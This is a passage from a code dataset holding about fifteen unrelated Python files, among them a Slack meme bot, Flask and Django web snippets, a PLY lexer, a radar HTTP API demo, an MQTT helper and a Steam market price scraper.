light-hearted and humorous tone throughout. Please note, avoid using explicit labels like 'top text' or 'bottom text', and refrain from using quotation marks!\"\nPROMPT_NO_INPUT = \"You are tasked with crafting a funny meme, using the %s meme format. Note that the meme should not be about the subject matter of the format, be sure to not include the meme format in any of the text. This meme will feature two text segments – one at the top and the other at the bottom. These two segments should be created by you and separated using the '|' symbol. Your task is to decide the theme and content of the meme. Maintain a light-hearted and humorous tone throughout. Please note, avoid using explicit labels like 'top text' or 'bottom text', and refrain from using quotation marks!\"\n\ndef get_random_template_id():\n url = \"https://api.imgflip.com/get_memes\"\n response = requests.get(url)\n data = response.json()\n\n # Check if the response was successful\n if response.status_code != 200 or not data.get('success', False):\n return None\n\n memes = data.get('data', {}).get('memes', [])\n if not memes:\n return None\n\n random_meme = random.choice(memes)\n # box_count > 2 not working with imgflip api so make sure it's less\n if random_meme['box_count'] > 2 :\n return get_random_template_id()\n\n return random_meme['id'], random_meme['name']\n\ndef generate_meme_text(user_input, description):\n # Set the prompt based on whether user input was provided\n prompt = PROMPT % (description, user_input) if user_input else PROMPT_NO_INPUT % description\n\n # Generate meme phrase using GPT-4\n response = openai.Completion.create(\n engine=\"text-davinci-003\",\n prompt=prompt,\n temperature=0.8,\n max_tokens=150\n )\n\n # Choose \"best\" meme option\n return response['choices'][0]['text'].strip().split('\\n')[0]\n\ndef generate_meme_image(template_id, meme_phrase):\n # Create meme using Imgflip API\n url = \"https://api.imgflip.com/caption_image\"\n meme_phrases = meme_phrase.split('|')\n params = {\n 'template_id': str(template_id), # ID of the meme template \n 'username': Config.IMGFLIP_USERNAME,\n 'password': Config.IMGFLIP_PASSWORD,\n 'font': \"impact\",\n }\n\n # Add texts dynamically (no longer useful after determining imgflip API only supports 2 text boxes)\n for i, phrase in enumerate(meme_phrases):\n params[f'text{i}'] = phrase\n res = requests.post(url, params)\n return json.loads(res.text)['data']['url']","repo_name":"maxrivett/slack_memebot","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8206637025","text":"import numpy as np\n\nfrom sdnoise import sdnoise2\n\nSIZE = 2048\nOFFSET_X = 53.36\nOFFSET_Y = 138.64\n\nSCALE = 0.0025\nPERSISTANCE = 0.5\nLUNACRACITY = 2.0\nOCTAVES = 6\n\n# control the erosive noise\nALPHA = 0.15 # feature displacement\nBETA = 1.10 # roughness near valeys\n\ndef erosive_noise(x, y) -> float:\n px = x * SCALE\n py = y * SCALE\n\n freq = 1.0\n amp = 1.0\n B = 0.0\n dx = 0.0\n dy = 0.0\n s = 1.0\n\n for j in range(OCTAVES):\n pre_x = freq * (px + dx)\n pre_y = freq * (py + dy)\n\n n, gx, gy = sdnoise2(pre_x, pre_y)\n t_in = s * (1 - abs(n))\n B = B + (amp * t_in)\n\n # aproximate gradient because 1 - abs(N(p))\n grad_x = -n * gx\n grad_y = -n * gy\n\n dx = dx + (amp * ALPHA * s * grad_x)\n dy = dy + (amp * ALPHA * s * grad_y)\n s = s * min(1, max(0, BETA * B))\n\n amp = amp * PERSISTANCE\n freq = freq * LUNACRACITY\n\n return B\n\ndef main():\n hf = np.zeros((SIZE, SIZE), dtype=np.float32)\n\n for x in range(0, SIZE):\n for y in range(0, SIZE):\n hf[x, y] = erosive_noise(x + OFFSET_X, y + OFFSET_Y)\n\n np.savetxt(\"noise.txt\", hf)\n\n return 0\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"open-terra/pysdnoise","sub_path":"examples/erosive_noise.py","file_name":"erosive_noise.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74033004304","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'solve' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts 2D_INTEGER_ARRAY coordinates as parameter.\n#\n\ndef solve(coordinates):\n px, py = zip(*coordinates)\n x0 = min(px)\n x1 = max(px)\n y0 = min(py)\n y1 = max(py)\n result = all(x in (x0, x1) or y in(y0,y1) for x,y in coordinates)\n if result:\n return \"YES\"\n else:\n return \"NO\"\n # Write your code here\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n q = int(input().strip())\n\n for q_itr in range(q):\n n = int(input().strip())\n\n coordinates = []\n\n for _ in range(n):\n coordinates.append(list(map(int, input().rstrip().split())))\n\n result = solve(coordinates)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"Anmol1109/Mathematics-Geometry-Point-on-a-Rectangle","sub_path":"Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25473443049","text":"import mistune\nfrom flask import render_template, request, redirect, url_for, session\nfrom flask_bigapp.security import login_check\n\nfrom app.globals import pytz_datetime, HighlightRenderer\nfrom app.models.resource import Resource\nfrom .. import bp\n\n\n@bp.route(\"/add\", methods=[\"GET\", \"POST\"])\n@login_check(\"logged_in\", \"backend.login\")\ndef add():\n if request.method == \"POST\":\n title = request.form.get(\"title\")\n slug = request.form.get(\"slug\")\n\n markdown = request.form.get(\"markdown\", '')\n markdown_processor = mistune.create_markdown(renderer=HighlightRenderer())\n markup = markdown_processor(markdown)\n\n resource = Resource.add_new_resource(\n fk_user_id=session.get(\"user_id\", 1),\n title=title,\n slug=slug,\n markup=markup,\n markdown=markdown,\n created=pytz_datetime()\n )\n\n return redirect(url_for(\"backend.resources.edit\", resource_id=resource.resource_id))\n\n return render_template(bp.tmpl(\"add.html\"))\n","repo_name":"Flask-Planet/flask-planet.org","sub_path":"app/blueprints/backend/blueprints/resources/routes/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9227118045","text":"from flask import Flask, render_template_string, redirect\nfrom flask_login import UserMixin, LoginManager, login_user, logout_user\nfrom flask_blogging import BloggingEngine\nfrom flask_blogging.dynamodbstorage import DynamoDBStorage\nfrom flask_fileupload.storage.s3storage import S3Storage\nfrom flask_fileupload import FlaskFileUpload\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"secret\" # for WTF-forms and login\napp.config[\"BLOGGING_URL_PREFIX\"] = \"/blog\"\napp.config[\"BLOGGING_DISQUS_SITENAME\"] = \"test\"\napp.config[\"BLOGGING_SITEURL\"] = \"\"\napp.config[\"BLOGGING_SITENAME\"] = \"My Site\"\napp.config[\"BLOGGING_ALLOW_FILEUPLOAD\"] = True\napp.config[\"FILEUPLOAD_S3_BUCKET\"]='quandldata'\napp.config[\"FILEUPLOAD_PREFIX\"] = \"/upload\"\napp.config[\"FILEUPLOAD_ALLOWED_EXTENSIONS\"] = [\"png\", \"jpg\", \"jpeg\", \"gif\"]\n\n\n# extensions\ns3storage = S3Storage(app)\nfile_upload = FlaskFileUpload(app, storage=s3storage)\n\ndyn_storage = DynamoDBStorage(endpoint_url='http://localhost:8000')\nblog_engine = BloggingEngine(app, dyn_storage, file_upload=file_upload)\nlogin_manager = LoginManager(app)\n\nclass User(UserMixin):\n def __init__(self, user_id):\n self.id = user_id\n\n def get_name(self):\n return \"Paul Dirac\" # typically the user's name\n\n@login_manager.user_loader\n@blog_engine.user_loader\ndef load_user(user_id):\n return User(user_id)\n\nindex_template = \"\"\"\n\n\n \n \n {% if current_user.is_authenticated %}\n Logout \n {% else %}\n Login \n {% endif %}\n    Blog \n   Sitemap\n   ATOM\n \n\n\"\"\"\n\n@app.route(\"/\")\ndef index():\n return render_template_string(index_template)\n\n@app.route(\"/login/\")\ndef login():\n user = User(\"testuser\")\n login_user(user)\n return redirect(\"/blog\")\n\n@app.route(\"/logout/\")\ndef logout():\n logout_user()\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=8001, use_reloader=True)\n","repo_name":"gouthambs/Flask-Blogging","sub_path":"example/blog_dynamodb.py","file_name":"blog_dynamodb.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":681,"dataset":"github-code","pt":"48"} +{"seq_id":"17697013592","text":"JUNGLE_GROUND = 32\nUNDER_GROUND = 86\nDEAD_LOCATION = 223\n\nx_min = 8.\nx_max = 148. + 1.\n\nnum_sectors = 3\ntreasure_sector = num_sectors - 1\n\nclass PitfallAbstraction(object):\n\n def __init__(self, environment, use_sectors=False):\n self.current_scene = 0\n self.treasure_scene = False\n self.use_sectors = use_sectors\n self.sector = 0\n self.num_treasures = 0\n self.above_ground = False\n\n self.env = environment\n\n def update_sector(self, ram):\n if self.use_sectors:\n x_abs = ram[97]\n x = (x_abs - x_min) / (x_max - x_min)\n self.sector = int(x * num_sectors)\n else:\n self.sector = 0\n\n def update_state(self, ram):\n self.current_scene = ram[1]\n self.update_sector(ram)\n\n self.treasure_scene = ram[21] == 5\n self.num_treasures = ram[113]\n\n y_pos = ram[105]\n if y_pos < DEAD_LOCATION:\n if self.above_ground:\n self.above_ground = not (y_pos >= UNDER_GROUND)\n else:\n self.above_ground = y_pos <= JUNGLE_GROUND\n\n def oo_abstraction_function(self, x):\n self.update_state(self.env.getRAM())\n\n # create attributes\n attrs = dict()\n attrs['.loc'] = (self.current_scene, self.above_ground, self.sector)\n attrs['treasure_scene'] = self.treasure_scene\n attrs['num_treasures'] = self.num_treasures\n\n return tuple(sorted(attrs.items()))\n\n def predicate_func(self, l1_state):\n\n s = dict(l1_state)\n scene, above_ground, sector = s['.loc']\n treasure_scene = s['treasure_scene']\n\n # create predicates\n preds = dict()\n\n pred = treasure_scene and above_ground\n if self.use_sectors:\n pred &= sector == treasure_sector\n preds['in_treasure_loc'] = pred\n\n return tuple(sorted(preds.items()))\n\n def reset(self):\n pass\n","repo_name":"chrisgrimm/deep_abstract_q_network","sub_path":"embedding_dqn/abstraction_tools/pitfall_abstraction.py","file_name":"pitfall_abstraction.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"70954556947","text":"# Simple CherryPy site\n# Clay Reimann 5/13/2013\n# All rights reserved\n\n# Import CherryPy global namespace\nimport cherrypy\nfrom datetime import datetime\n\nfrom .. import db\nfrom ..base import Base\n\n# a translation map which maps ' ' -> None\nTRANS_MAP = str.maketrans(\"\", \"\", \" \")\n\nclass Assignments(Base):\n \"\"\"\n The assignments controller\n \"\"\"\n def __init__(self, tmpl_lookup):\n super(Assignments, self).__init__(tmpl_lookup)\n self.page_title = \"Assignments\"\n\n @cherrypy.expose\n def index(self):\n \"\"\"\n Displays all of the assignments in the system\n \"\"\"\n return self.render(\"admin/assignments/all.html\", assignments=db.all_assignments())\n\n @cherrypy.expose\n def add(self, **params):\n \"\"\"\n Renders the form to add a assignment, or if params\n are passed then we validate and add the assignment.\n \"\"\"\n errors = self.check_params(**params)\n if len(errors) == 0 and len(params) > 0:\n errors = self.add_assignment(**params)\n\n return self.render(\"admin/assignments/add.html\",\n errors=errors,\n params=params,\n semesters=db.all_semesters(),\n categories=db.all_categories())\n\n def check_params(self, **params):\n \"\"\"\n Checks the params and returns a description of the\n error, or None\n \"\"\"\n errs = []\n\n if len(params) == 0:\n return errs\n\n if len(params) == 2 and \"crs\" in params and \"cat\" in params:\n return errs\n\n if \"name\" not in params or len(params[\"name\"]) == 0:\n errs.append(\"A label for the assignment is required.\")\n else:\n if len(params[\"name\"]) > 100:\n errs.append(\"Your name for this assignment is too long\")\n\n if \"cat\" not in params or len(params[\"cat\"]) == 0:\n errs.append(\"You must associate this assignment with a category\")\n if \"sem\" not in params or len(params[\"sem\"]) == 0:\n errs.append(\"You must associate this assignment with a semester\")\n\n if \"summary\" not in params or len(params[\"summary\"]) == 0:\n errs.append(\"You must provide a summary for the assignment\")\n\n if \"due\" not in params or len(params[\"due\"]) != 16:\n errs.append(\"You must provide a valid due date\")\n\n if \"release\" in params:\n if len(params[\"release\"]) != 16 and len(params[\"release\"]) > 0:\n errs.append(\"You must provide a valid release date\")\n\n if \"points\" not in params or len(params[\"points\"]) == 0:\n try:\n float(params[\"points\"])\n except Exception as e:\n errs.append(str(e))\n\n return errs\n\n def add_assignment(self, sem, cat, name, summary, description, points, due, release):\n \"\"\"\n Call the database function to add a course\n \"\"\"\n if len(release) == 0:\n release = str(datetime.now())[:16]\n success_or_error = db.add_assignment(cat, name, summary, description, points, due, release)\n if success_or_error == True:\n raise cherrypy.HTTPRedirect(\"/admin/semesters/show/\"+sem)\n else:\n return [str(success_or_error)]\n\n @cherrypy.expose\n def show(self, assignment=None, **params):\n \"\"\"\n Displays one assignment's listing\n \"\"\"\n # if assignment == None:\n raise cherrypy.HTTPRedirect(\"/admin/assignments\")\n # else:\n # s = db.get_assignment(guid=assignment, recurse=True)\n # return self.render(\"admin/assignments/show.html\", assignment=s, errors=errors)\n\n @cherrypy.expose\n def remove(self, assignment=None):\n \"\"\"\n Displays a list of the assignments in the system for removal\n \"\"\"\n # return self.render(\"admin/assignments/remove.html\")\n","repo_name":"clayreimann/zMSU-grading","sub_path":"modules/admin_protected/assignments.py","file_name":"assignments.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12516251056","text":"import urllib.request, json, datetime\r\n\r\nurl_prefix = \"https://steamcommunity.com/market/search/render/?search_descriptions=0&category_583950_Rarity%5B%5D=\"\r\nurl_suffix = \"&sort_dir=desc&appid=583950&norender=1&count=500\"\r\nurl_common = \"tag_Rarity_Common\"\r\nurl_uncommon = \"tag_Rarity_Uncommon\"\r\nurl_rare = \"tag_Rarity_Rare\"\r\n\r\nprice = {}\r\navg_common_price = 0\r\navg_uncommon_price = 0\r\navg_rare_price = 0\r\n\r\nwith urllib.request.urlopen(url_prefix + url_common + url_suffix) as url:\r\n data = json.loads(url.read().decode())\r\ni = 0\r\nfor entry in data['results']:\r\n i += 1\r\n price[entry['name']] = entry['sell_price']/100\r\n avg_common_price += price[entry['name']]\r\nif i == 0:\r\n avg_common_price = 0.0\r\nelse:\r\n avg_common_price = avg_common_price / i\r\n\r\nwith urllib.request.urlopen(url_prefix + url_uncommon + url_suffix) as url:\r\n data = json.loads(url.read().decode())\r\ni = 0\r\nfor entry in data['results']:\r\n i += 1\r\n price[entry['name']] = entry['sell_price']/100\r\n avg_uncommon_price += price[entry['name']]\r\nif i == 0:\r\n avg_uncommon_price = 0.0\r\nelse:\r\n avg_uncommon_price = avg_uncommon_price / i\r\n\r\nwith urllib.request.urlopen(url_prefix + url_rare + url_suffix) as url:\r\n data = json.loads(url.read().decode())\r\ni = 0\r\nfor entry in data['results']:\r\n i += 1\r\n price[entry['name']] = entry['sell_price']/100\r\n avg_rare_price += price[entry['name']]\r\nif i == 0:\r\n avg_rare_price = 0.0\r\nelse:\r\n avg_rare_price = avg_rare_price / i\r\n\r\nheroes = [\"Axe\", \"Bristleback\", \"Drow Ranger\", \"Kanna\", \"Lich\", \"Tinker\", \"Legion Commander\", \"Lycan\", \"Phantom Assassin\", \"Omniknight\", \"Luna\", \"Bounty Hunter\", \"Ogre Magi\", \"Sniper\", \"Treant Protector\", \"Beastmaster\", \"Enchantress\", \"Sorla Khan\", \"Chen\", \"Zeus\", \"Ursa\", \"Skywrath Mage\", \"Winter Wyvern\", \"Venomancer\", \"Prellex\", \"Earthshaker\", \"Magnus\", \"Sven\", \"Dark Seer\", \"Debbi the Cunning\", \"Mazzie\", \"J'Muy the Wise\", \"Fahrvhan the Dreamer\", \"Necrophos\", \"Centaur Warrunner\", \"Abaddon\", \"Viper\", \"Timbersaw\", \"Keefe the Bold\", \"Tidehunter\", \"Crystal Maiden\", \"Bloodseeker\", \"Pugna\", \"Lion\", \"Storm Spirit\", \"Meepo\", \"Rix\", \"Outworld Devourer\"]\r\n\r\ntotal = 0.0\r\nfor cost in price:\r\n if cost in heroes:\r\n total += price[cost]\r\n else:\r\n total += 3 * price[cost]\r\n\r\n#print(f\"[ {datetime.datetime.now().strftime('%m-%d %H:%M ')}] - average common - {avg_common_price:{3}.{3}}, uncommon - {avg_uncommon_price:{3}.{3}}, rare - {avg_rare_price:{3}.{3}}, TOTAL - {total:.2f}\")\r\n#print(f\"date:average common:uncommon:rare:TOTAL $\")\r\nf = open(\"logArti.csv\", \"a\")\r\nf.write(f\"{datetime.datetime.now().strftime('%d-%m-%y %H:%M')};{avg_common_price:{3}.{3}};{avg_uncommon_price:{3}.{3}};{avg_rare_price:{3}.{3}};{total:.2f}\\n\")\r\n#print(f\"{datetime.datetime.now().strftime('%d-%m-%y %H:%M')};{avg_common_price:{3}.{3}};{avg_uncommon_price:{3}.{3}};{avg_rare_price:{3}.{3}};{total:.2f}\")","repo_name":"patofet/artifactPrices","sub_path":"artifactPrices.py","file_name":"artifactPrices.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15152077220","text":"# Vowel Count\n# https://www.codewars.com/kata/54ff3102c1bad923760001f3/train/python\n\n# Return the number (count) of vowels in the given string.\n# We will consider a, e, i, o, and u as vowels for this Kata.\n# The input string will only consist of lower case letters and/or spaces.\n\ndef getCount(inputStr):\n num_vowels = 0\n for letter in inputStr:\n if letter.lower() in ['a', 'e', 'i', 'o', 'u']:\n num_vowels += 1\n return num_vowels\n\nprint(getCount('lEAve'))\n","repo_name":"NWood-Git/code_wars_challenges","sub_path":"vowel_count.py","file_name":"vowel_count.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30317700043","text":"import ply.lex as lex\n\ntokens = (\n 'NUMBER' ,\n 'PLUS' ,\n 'SUB' ,\n 'MUL' ,\n 'DIV' ,\n 'LPAREN' ,\n 'RPAREN' ,\n 'LESS' ,\n 'LESS_EQUAL' ,\n 'GREATER' ,\n 'GREATER_EQUAL' ,\n 'EQUAL_EQUAL' ,\n 'NOT_EQUAL' ,\n 'SEMICOLON' ,\n 'ID' ,\n 'ASSIGN' ,\n 'RETURN' ,\n 'LBRACE' ,\n 'RBRACE' ,\n 'IF' ,\n 'ELSE' ,\n 'FOR' , \n 'WHILE' , \n 'ADDR_BIT' , \n 'INT' , \n 'COMMA' , \n 'LBRACKET' , \n 'RBRACKET' , \n 'SIZEOF' , \n 'STRUCT' , \n 'POINT' \n \n)\n\nreserved = {\n'return' : 'RETURN' ,\n'if' : 'IF' ,\n'else' : 'ELSE' ,\n'for' : 'FOR' , \n'while' : 'WHILE' , \n'int' : 'INT' , \n'sizeof' : 'SIZEOF' , \n'struct' : 'STRUCT'\n}\n\n\nt_PLUS = r'\\+'\nt_SUB = r'\\-'\nt_MUL = r'\\*'\nt_DIV = r'\\/'\nt_ADDR_BIT = r'\\&'\nt_LPAREN = r'\\('\nt_RPAREN = r'\\)'\nt_LESS = r'\\<'\nt_LESS_EQUAL = r'\\<='\nt_GREATER = r'\\>'\nt_GREATER_EQUAL = r'\\>='\nt_EQUAL_EQUAL = r'\\=='\nt_NOT_EQUAL = r'\\!='\nt_SEMICOLON = r'\\;'\nt_ASSIGN = r'\\='\nt_LBRACE = r'\\{'\nt_RBRACE = r'\\}'\nt_COMMA = r'\\,'\nt_LBRACKET = r'\\['\nt_RBRACKET = r'\\]'\nt_POINT = r'\\.'\ndigit = r'([0-9])'\nnondigit = r'([_A-Za-z])'\n\n\n\n\ndef t_ID(t):\n r'[a-zA-Z_][a-zA-Z_0-9]*'\n t.type = reserved.get(t.value , 'ID')\n return t\n\ndef t_NUMBER(t):\n\tr'\\d+'\n\treturn t\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += len(t.value)\n return\n\ndef t_eof(t):\n return t\n\nt_ignore = ' \\t'\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n return\n\n\ndef make_token(file_content):\n token_list = []\n lexer = lex.lex()\n\n lexer.input(file_content)\n\n while True:\n tok = lexer.token()\n\n if tok.type == 'eof':\n token_list.append(tok)\n break\n token_list.append(tok)\n return token_list\n","repo_name":"AlexsanderDamaceno/C-compiler-","sub_path":"lex.py","file_name":"lex.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74954735825","text":"from django import forms\nfrom django.core.exceptions import ValidationError\nimport hashlib\n\nfrom web import models\n\n\nclass BSForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in self.fields.values():\n if not isinstance(field, forms.BooleanField):\n field.widget.attrs.update({'class': 'form-control'})\n\n\nclass LoginForm(forms.Form):\n username = forms.CharField(\n required=True,\n label='用户名:',\n strip=True,\n widget=forms.widgets.TextInput(attrs={'class': 'form-control'}),\n error_messages={\n \"required\": \"不能为空\",\n },\n )\n password = forms.CharField(\n label='密码:',\n required=True,\n strip=True,\n widget=forms.widgets.PasswordInput(attrs={'class': 'form-control'}),\n error_messages={\n \"required\": \"不能为空\",\n }\n )\n\n\nclass RegForm(forms.ModelForm):\n class Meta:\n model = models.User\n fields = '__all__'\n exclude = ['is_active']\n\n labels = {\n 'username': '用户名',\n }\n required = {\n 'fields': True,\n }\n error_messages = {\n 'username': {\"required\": \"不能为空\", }\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in self.fields.values():\n field.widget.attrs.update({'class': 'form-control'})\n\n\n\nclass BolgForm(BSForm):\n class Meta:\n model = models.Blog\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n","repo_name":"Soyteanzhang1/cw","sub_path":"web/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23280017134","text":"import os\n\nimport jinja2\n\nstd_env = jinja2.Environment(\n autoescape=False,\n)\n\nlatex_jinja_env = jinja2.Environment(\n block_start_string=\"\\BLOCK{\",\n block_end_string=\"}\",\n variable_start_string=\"\\VAR{\",\n variable_end_string=\"}\",\n comment_start_string=\"\\#{\",\n comment_end_string=\"}\",\n line_statement_prefix=\"%-\",\n line_comment_prefix=\"%#\",\n trim_blocks=True,\n autoescape=False,\n)\n\n\ndef render_latex_template(path, name, variables):\n \"\"\"Renders a Jinja2 LaTeX template.\"\"\"\n latex_jinja_env.loader = jinja2.FileSystemLoader(path)\n template = latex_jinja_env.get_template(name)\n return template.render(**variables)\n\n\ndef render_makefile_template(path, name, variables):\n \"\"\"Renders a Jinja2 Makefile template.\"\"\"\n std_env.loader = jinja2.FileSystemLoader(path)\n template = std_env.get_template(name)\n return template.render(**variables)\n","repo_name":"dhoekstra2000/labo","sub_path":"labo/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17691566263","text":"# Demonstrate Capacbilities of apreshttp API\nimport apreshttp\nimport os\nimport requests\nimport tkinter as tk\nimport numpy as np\nfrom tkinter import messagebox as mb\n\nfrom matplotlib import pyplot as plt\n\n# API \napi = apreshttp.API(\"http://radar.localnet\")\napi.setKey(\"18052021\")\n\n# Get radar status \nprint(\"Reading radar status\")\ntry:\n status = api.system.housekeeping.status()\n\n # Print out status values\n print(\"Battery Voltage : {}\".format(status.batteryVoltage))\n print(\"GPS Lat. : {}\".format(status.latitude))\n print(\"GPS Long. : {}\".format(status.longitude))\n print(\"Time GPS : {}\".format(status.timeGPS))\n print(\"Time VAB : {}\".format(status.timeVAB))\n\nexcept requests.exceptions.ConnectionError:\n print(\"ERROR: Unable to connect to radar. Quitting...\")\n exit()\n\nexcept apreshttp.BadResponseException:\n print(\"ERROR: Unable to read status. Quitting...\")\n exit()\n\n# Define user settings\nnatts = 1\nnaverages = 1\n\nnatts = int(input(\"Enter the number of attenuator settings [1-4]: \"))\nif natts < 0 or natts > 4:\n natts = 1\n print(\"WARNING: Defaulting to 1 attenuator setting.\")\n\nnaverages = int(input(\"Enter the number of averages per trial burst [>= 1]: \"))\nif naverages < 1:\n naverages = 1\n print(\"WARNING: Defaulting to 1 average.\")\n\nrfAttnSet = []\nafGainSet = []\n\nfor attn in range(natts):\n print(\"Settings for attenuator #{}\".format(attn+1))\n print(\"--------------------------\")\n \n rf = float(input(\" Enter the RF attenuation [0-31]: \"))\n if rf < 0 or rf > 31:\n rf = 30\n print(\" WARNING: Defaulting to RF attenuator of 30dB\")\n rfAttnSet.append(rf)\n\n af = int(input(\" Enter the RF attenuation [-14, -4, 6]: \"))\n if af != -14 and af != -4 and af != 6:\n af = -4\n print(\" WARNING: Defaulting to AF gain of -4 dB\")\n afGainSet.append(af)\n\nprint(\"Updating config.\")\napi.radar.config.set(\n nAtts=natts,\n nAverages=naverages,\n nBursts=naverages,\n rfAttnSet=rfAttnSet,\n afGainSet=afGainSet\n)\n\nprint(\"Peforming trial burst\")\ntry:\n api.radar.trialBurst()\nexcept (apreshttp.RadarBusyException, apreshttp.NoChirpStartedException):\n print(\"ERROR: Could not start chirp, quitting.\")\n exit()\n\n# Create update callback function to show progress\ndef updateCallback(response):\n print(\".\")\n\nprint(\"Waiting for results\")\nresults = api.radar.results(wait = True, updateCallback=updateCallback)\n\nprint(\"Plotting results...\")\nfig, axs = plt.subplots(1, 2)\nfor at in range(results.nAttenuators):\n axs[0].bar(np.linspace(0,2.5,len(results.histogram[at])), results.histogram[at], alpha = 0.5, width=2.5/len(results.histogram[at]))\n axs[1].plot(results.chirp[at])\n \naxs[0].set_xlabel(\"Voltage (V)\")\naxs[0].set_ylabel(\"Count\")\naxs[0].set_title(\"Histogram\")\n\naxs[1].set_xlabel(\"Sample No.\")\naxs[1].set_ylabel(\"Voltage (V)\")\naxs[1].set_title(\"Deramped Signal\")\n\nplt.show()\n\n","repo_name":"jonodhawkins/apreshttp","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15920529523","text":"import logging\nimport random\nimport datetime\n\nfrom paho.mqtt import client as mqtt_client\n\n# log日志配置项\nlogger = logging.getLogger()\nformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\n# Configure stream handler for the cells\nchandler = logging.StreamHandler()\nchandler.setLevel(logging.INFO)\nchandler.setFormatter(formatter)\nlogger.addHandler(chandler)\nlogger.setLevel(logging.INFO)\n\n\n# 获取系统时间日期\ntoday = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n\n# mqtt基本配置项\nbroker = 'broker.emqx.io'\nport = 1883\ntopic = 'battery-monitor/mqtt'\nclient_id = f'battery-monitor-client-{random.randint(0, 1000)}'\n\n\n# 连接函数\ndef mqtt_connect():\n def on_connect(client, userdata, flags, rc):\n if rc == 0:\n logging.info('Connected to MQTT Broker!')\n else:\n logging.info('Failed to connect, return code {}\\n'.format(rc))\n\n client = mqtt_client.Client(client_id)\n client.on_connect = on_connect\n client.connect(broker, port)\n return client\n","repo_name":"SunWind2000/battery-monitor","sub_path":"mqtt/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30414841323","text":"import sys\nimport os\nimport shutil\nimport threading # Import the threading module\nimport time\n\nimport spacy\nfrom spacy.matcher import PhraseMatcher\n\n# load default skills data base\nfrom skillNer.general_params import SKILL_DB\n\n# import skill extractor\nfrom skillNer.skill_extractor_class import SkillExtractor\n\nfrom resume_sorter import ResumeSorter\nfrom utilities.read_files import read_pdf_and_docx\nfrom constants.soft_skills import soft_skill_keywords\n\nnlp = spacy.load('en_core_web_md')\n\n# Initialize skill extractor\nskill_extractor = SkillExtractor(nlp, SKILL_DB, PhraseMatcher)\n\n\ndef sort_and_move(file_path, file_content, passed_nlp, passed_skill_extractor, passed_soft_skill_keywords,\n destination_folder_1, destination_folder_0):\n try:\n sorter = ResumeSorter(file_content, passed_nlp, passed_skill_extractor, passed_soft_skill_keywords)\n\n # Measure the start time\n start_time = time.time()\n\n sorter.sort()\n\n # Measure the end time\n end_time = time.time()\n\n elapsed_time = end_time - start_time\n\n # Check the resume_sorter score and move the file accordingly\n if sorter.get_score() >= 50:\n destination_folder = destination_folder_1\n else:\n destination_folder = destination_folder_0\n\n # If sorting took longer than 60 seconds, move the file to 'sorted_folder_0'\n if elapsed_time > 60:\n print(f\"Sorting took longer than 60 seconds for file: {file_path}\")\n destination_folder = destination_folder_0\n\n # Construct the new file path in the destination folder\n new_file_path = os.path.join(destination_folder, os.path.basename(file_path))\n\n # Move the file to the destination folder\n shutil.move(file_path, new_file_path)\n\n print(f\"Resume Score: {sorter.get_score()}%\")\n except Exception as e:\n print(f\"An error occurred for file: {file_path}, Error: {e}\")\n\n\ndef main():\n sys.path.append(os.path.join(os.path.dirname(__file__), '../..'))\n\n current_dir = os.path.dirname(__file__)\n current_dir = current_dir if current_dir != '' else '.'\n\n # Directory to scan for any pdf and docx files\n data_dir_path = current_dir + '/data/resume_data'\n\n collected = read_pdf_and_docx(data_dir_path, command_logging=True)\n\n # Define destination folders\n sorted_folder_1 = current_dir + '/data/sorted/1'\n sorted_folder_0 = current_dir + '/data/sorted/0'\n\n # Create destination folders if they don't exist\n 